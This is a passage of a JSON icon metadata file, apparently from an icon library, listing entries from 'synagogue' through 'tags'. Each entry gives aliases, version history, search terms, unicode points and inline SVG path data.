18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"
      }
    },
    "free": ["brands"]
  },
  "synagogue": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54d"],
        "secondary": ["10f69b"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Jew",
        "Jewish",
        "building",
        "jewish",
        "judaism",
        "religion",
        "star of david",
        "synagogue",
        "temple"
      ]
    },
    "styles": ["solid"],
    "unicode": "f69b",
    "label": "Synagogue",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M309.8 3.7c5.9-4.9 14.6-4.9 20.5 0l121 100.8C469.5 119.7 480 142.2 480 166V280.1 512H464 352V416c0-17.7-14.3-32-32-32s-32 14.3-32 32v96H176 160V280.1 166c0-23.7 10.5-46.3 28.8-61.5L309.8 3.7zM512 512V244.5l28.1-31.2c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3l63.8 70.9c7.9 8.8 12.3 20.3 12.3 32.1V448c0 35.3-28.7 64-64 64H512zM128 244.5V512H64c-35.3 0-64-28.7-64-64V316.3c0-11.9 4.4-23.3 12.3-32.1l63.8-70.9c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3L128 244.5zM327 124.3c-3.1-5.4-10.9-5.4-13.9 0l-15.9 28.1-32.3-.3c-6.2-.1-10.1 6.7-7 12.1L274.3 192l-16.4 27.8c-3.2 5.4 .7 12.1 7 12.1l32.3-.3L313 259.7c3.1 5.4 10.9 5.4 13.9 0l15.9-28.1 32.3 .3c6.2 .1 10.1-6.7 7-12.1L365.7 192l16.4-27.8c3.2-5.4-.7-12.1-7-12.1l-32.3 .3L327 124.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M309.8 3.7c5.9-4.9 14.6-4.9 20.5 0l121 100.8C469.5 119.7 480 142.2 480 166V280.1 512H464 352V416c0-17.7-14.3-32-32-32s-32 14.3-32 32v96H176 160V280.1 166c0-23.7 10.5-46.3 28.8-61.5L309.8 3.7zM512 512V244.5l28.1-31.2c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3l63.8 70.9c7.9 8.8 12.3 20.3 12.3 32.1V448c0 35.3-28.7 64-64 64H512zM128 244.5V512H64c-35.3 0-64-28.7-64-64V316.3c0-11.9 4.4-23.3 12.3-32.1l63.8-70.9c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3L128 244.5zM327 124.3c-3.1-5.4-10.9-5.4-13.9 0l-15.9 28.1-32.3-.3c-6.2-.1-10.1 6.7-7 12.1L274.3 192l-16.4 27.8c-3.2 5.4 .7 12.1 7 12.1l32.3-.3L313 259.7c3.1 5.4 10.9 5.4 13.9 0l15.9-28.1 32.3 .3c6.2 .1 10.1-6.7 7-12.1L365.7 192l16.4-27.8c3.2-5.4-.7-12.1-7-12.1l-32.3 .3L327 124.3z"
      }
    },
    "free": ["solid"]
  },
  "syringe": {
    "aliases": {
      "unicodes": {
        "composite": ["1f489"],
        "secondary": ["10f48e"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "immunizations",
        "medical",
        "medicine",
        "needle",
        "shot",
        "sick",
        "syringe",
        "vaccinate",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "f48e",
    "label": "Syringe",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M441 7l32 32 32 32c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15L417.9 128l55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-72-72L295 73c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l55 55L422.1 56 407 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0zM210.3 155.7l61.1-61.1c.3 .3 .6 .7 1 1l16 16 56 56 56 56 16 16c.3 .3 .6 .6 1 1l-191 191c-10.5 10.5-24.7 16.4-39.6 16.4H97.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V325.3c0-14.9 5.9-29.1 16.4-39.6l43.3-43.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M441 7l32 32 32 32c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15L417.9 128l55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-72-72L295 73c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l55 55L422.1 56 407 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0zM210.3 155.7l61.1-61.1c.3 .3 .6 .7 1 1l16 16 56 56 56 56 16 16c.3 .3 .6 .6 1 1l-191 191c-10.5 10.5-24.7 16.4-39.6 16.4H97.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V325.3c0-14.9 5.9-29.1 16.4-39.6l43.3-43.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57z"
      }
    },
    "free": ["solid"]
  },
  "t": {
    "aliases": {
      "unicodes": {
        "composite": ["74"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter T", "Latin Small Letter T", "letter"]
    },
    "styles": ["solid"],
    "unicode": "54",
    "label": "T",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H160V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H192 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H160V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H192 32z"
      }
    },
    "free": ["solid"]
  },
  "table": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0ce"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["data", "excel", "spreadsheet"]
    },
    "styles": ["solid"],
    "unicode": "f0ce",
    "label": "Table",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 256V160H224v96H64zm0 64H224v96H64V320zm224 96V320H448v96H288zM448 256H288V160H448v96zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 256V160H224v96H64zm0 64H224v96H64V320zm224 96V320H448v96H288zM448 256H288V160H448v96zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["solid"]
  },
  "table-cells": {
    "aliases": {
      "names": ["th"],
      "unicodes": {
        "secondary": ["10f00a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "boxes", "grid", "squares"]
    },
    "styles": ["solid"],
    "unicode": "f00a",
    "label": "Table Cells",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 64v64H64V96h88zm56 0h88v64H208V96zm240 0v64H360V96h88zM64 224h88v64H64V224zm232 0v64H208V224h88zm64 0h88v64H360V224zM152 352v64H64V352h88zm56 0h88v64H208V352zm240 0v64H360V352h88z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 64v64H64V96h88zm56 0h88v64H208V96zm240 0v64H360V96h88zM64 224h88v64H64V224zm232 0v64H208V224h88zm64 0h88v64H360V224zM152 352v64H64V352h88zm56 0h88v64H208V352zm240 0v64H360V352h88z"
      }
    },
    "free": ["solid"]
  },
  "table-cells-large": {
    "aliases": {
      "names": ["th-large"],
      "unicodes": {
        "secondary": ["10f009"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "boxes", "grid", "squares"]
    },
    "styles": ["solid"],
    "unicode": "f009",
    "label": "Table Cells Large",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 96V224H288V96H448zm0 192V416H288V288H448zM224 224H64V96H224V224zM64 288H224V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 96V224H288V96H448zm0 192V416H288V288H448zM224 224H64V96H224V224zM64 288H224V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["solid"]
  },
  "table-columns": {
    "aliases": {
      "names": ["columns"],
      "unicodes": {
        "secondary": ["10f0db"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["browser", "dashboard", "organize", "panes", "split"]
    },
    "styles": ["solid"],
    "unicode": "f0db",
    "label": "Table Columns",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 64V416H224V160H64zm384 0H288V416H448V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 64V416H224V160H64zm384 0H288V416H448V160z"
      }
    },
    "free": ["solid"]
  },
  "table-list": {
    "aliases": {
      "names": ["th-list"],
      "unicodes": {
        "secondary": ["10f00b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f00b",
    "label": "Table List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 0v64h64V96H64zm384 0H192v64H448V96zM64 224v64h64V224H64zm384 0H192v64H448V224zM64 352v64h64V352H64zm384 0H192v64H448V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 0v64h64V96H64zm384 0H192v64H448V96zM64 224v64h64V224H64zm384 0H192v64H448V224zM64 352v64h64V352H64zm384 0H192v64H448V352z"
      }
    },
    "free": ["solid"]
  },
  "table-tennis-paddle-ball": {
    "aliases": {
      "names": ["ping-pong-paddle-ball", "table-tennis"],
      "unicodes": {
        "composite": ["1f3d3"],
        "secondary": ["10f45d"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ball", "bat", "game", "paddle", "ping pong", "table tennis"]
    },
    "styles": ["solid"],
    "unicode": "f45d",
    "label": "Table Tennis Paddle Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 288c-50.1 0-93.6 28.8-114.6 70.8L132.9 126.3l.6-.6 60.1-60.1c87.5-87.5 229.3-87.5 316.8 0c67.1 67.1 82.7 166.3 46.8 248.3C535.8 297.6 509 288 480 288zM113.3 151.9L354.1 392.7c-1.4 7.5-2.1 15.3-2.1 23.3c0 23.2 6.2 44.9 16.9 63.7c-3 .2-6.1 .3-9.2 .3H357c-33.9 0-66.5-13.5-90.5-37.5l-9.8-9.8c-13.1-13.1-34.6-12.4-46.8 1.7L152.2 501c-5.8 6.7-14.2 10.7-23 11s-17.5-3.1-23.8-9.4l-32-32c-6.3-6.3-9.7-14.9-9.4-23.8s4.3-17.2 11-23l66.6-57.7c14-12.2 14.8-33.7 1.7-46.8l-9.8-9.8c-24-24-37.5-56.6-37.5-90.5v-2.7c0-22.8 6.1-44.9 17.3-64.3zM480 320a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 288c-50.1 0-93.6 28.8-114.6 70.8L132.9 126.3l.6-.6 60.1-60.1c87.5-87.5 229.3-87.5 316.8 0c67.1 67.1 82.7 166.3 46.8 248.3C535.8 297.6 509 288 480 288zM113.3 151.9L354.1 392.7c-1.4 7.5-2.1 15.3-2.1 23.3c0 23.2 6.2 44.9 16.9 63.7c-3 .2-6.1 .3-9.2 .3H357c-33.9 0-66.5-13.5-90.5-37.5l-9.8-9.8c-13.1-13.1-34.6-12.4-46.8 1.7L152.2 501c-5.8 6.7-14.2 10.7-23 11s-17.5-3.1-23.8-9.4l-32-32c-6.3-6.3-9.7-14.9-9.4-23.8s4.3-17.2 11-23l66.6-57.7c14-12.2 14.8-33.7 1.7-46.8l-9.8-9.8c-24-24-37.5-56.6-37.5-90.5v-2.7c0-22.8 6.1-44.9 17.3-64.3zM480 320a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "tablet": {
    "aliases": {
      "names": ["tablet-android"],
      "unicodes": {
        "secondary": ["10f3fb"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["device", "kindle", "screen"]
    },
    "styles": ["solid"],
    "unicode": "f3fb",
    "label": "Tablet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM176 432h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM176 432h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "tablet-button": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f10a"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["apple", "device", "ipad", "kindle", "screen"]
    },
    "styles": ["solid"],
    "unicode": "f10a",
    "label": "Tablet Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "tablet-screen-button": {
    "aliases": {
      "names": ["tablet-alt"],
      "unicodes": {
        "secondary": ["10f3fa"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["apple", "device", "ipad", "kindle", "screen"]
    },
    "styles": ["solid"],
    "unicode": "f3fa",
    "label": "Tablet Screen Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM256 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 64H64V384H384V64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM256 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 64H64V384H384V64z"
      }
    },
    "free": ["solid"]
  },
  "tablets": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f490"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medicine", "pills", "prescription"]
    },
    "styles": ["solid"],
    "unicode": "f490",
    "label": "Tablets",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M614.3 247c16.3-25 25.7-54.9 25.7-87C640 71.6 568.4 0 480 0c-32.1 0-61.9 9.4-87 25.7c-7.9 5.2-8.5 16.2-1.8 22.9L591.4 248.8c6.7 6.7 17.8 6.2 22.9-1.8zM567 294.3c7.9-5.2 8.5-16.2 1.8-22.9L368.6 71.2c-6.7-6.7-17.8-6.2-22.9 1.8c-16.3 25-25.7 54.9-25.7 87c0 88.4 71.6 160 160 160c32.1 0 61.9-9.4 87-25.7zM301.5 368H18.5c-9.5 0-16.9 8.2-15 17.5C18.9 457.8 83.1 512 160 512s141.1-54.2 156.5-126.5c2-9.3-5.5-17.5-15-17.5zm0-32c9.5 0 16.9-8.2 15-17.5C301.1 246.2 236.9 192 160 192S18.9 246.2 3.5 318.5c-2 9.3 5.5 17.5 15 17.5H301.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M614.3 247c16.3-25 25.7-54.9 25.7-87C640 71.6 568.4 0 480 0c-32.1 0-61.9 9.4-87 25.7c-7.9 5.2-8.5 16.2-1.8 22.9L591.4 248.8c6.7 6.7 17.8 6.2 22.9-1.8zM567 294.3c7.9-5.2 8.5-16.2 1.8-22.9L368.6 71.2c-6.7-6.7-17.8-6.2-22.9 1.8c-16.3 25-25.7 54.9-25.7 87c0 88.4 71.6 160 160 160c32.1 0 61.9-9.4 87-25.7zM301.5 368H18.5c-9.5 0-16.9 8.2-15 17.5C18.9 457.8 83.1 512 160 512s141.1-54.2 156.5-126.5c2-9.3-5.5-17.5-15-17.5zm0-32c9.5 0 16.9-8.2 15-17.5C301.1 246.2 236.9 192 160 192S18.9 246.2 3.5 318.5c-2 9.3 5.5 17.5 15 17.5H301.5z"
      }
    },
    "free": ["solid"]
  },
  "tachograph-digital": {
    "aliases": {
      "names": ["digital-tachograph"],
      "unicodes": {
        "secondary": ["10f566"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["data", "distance", "speed", "tachometer"]
    },
    "styles": ["solid"],
    "unicode": "f566",
    "label": "Tachograph Digital",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm32 64H320c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zM64 368c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm320 0c0-8.8 7.2-16 16-16H560c8.8 0 16 7.2 16 16s-7.2 16-16 16H400c-8.8 0-16-7.2-16-16zM80 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm32 64H320c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zM64 368c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm320 0c0-8.8 7.2-16 16-16H560c8.8 0 16 7.2 16 16s-7.2 16-16 16H400c-8.8 0-16-7.2-16-16zM80 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "tag": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3f7"],
        "secondary": ["10f02b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["discount", "labe", "label", "price", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f02b",
    "label": "Tag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 80V229.5c0 17 6.7 33.3 18.7 45.3l176 176c25 25 65.5 25 90.5 0L418.7 317.3c25-25 25-65.5 0-90.5l-176-176c-12-12-28.3-18.7-45.3-18.7H48C21.5 32 0 53.5 0 80zm112 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 80V229.5c0 17 6.7 33.3 18.7 45.3l176 176c25 25 65.5 25 90.5 0L418.7 317.3c25-25 25-65.5 0-90.5l-176-176c-12-12-28.3-18.7-45.3-18.7H48C21.5 32 0 53.5 0 80zm112 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "tags": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f02c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["discount", "label", "price", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f02c",
    "label": "Tags",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M345 39.1L472.8 168.4c52.4 53 52.4 138.2 0 191.2L360.8 472.9c-9.3 9.4-24.5 9.5-33.9 .2s-9.5-24.5-.2-33.9L438.6 325.9c33.9-34.3 33.9-89.4 0-123.7L310.9 72.9c-9.3-9.4-9.2-24.6 .2-33.9s24.6-9.2 33.9 .2zM0 229.5V80C0 53.5 21.5 32 48 32H197.5c17 0 33.3 6.7 45.3 18.7l168 168c25 25 25 65.5 0 90.5L277.3 442.7c-25 25-65.5 25-90.5 0l-168-168C6.7 262.7 0 246.5 0 229.5zM144 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
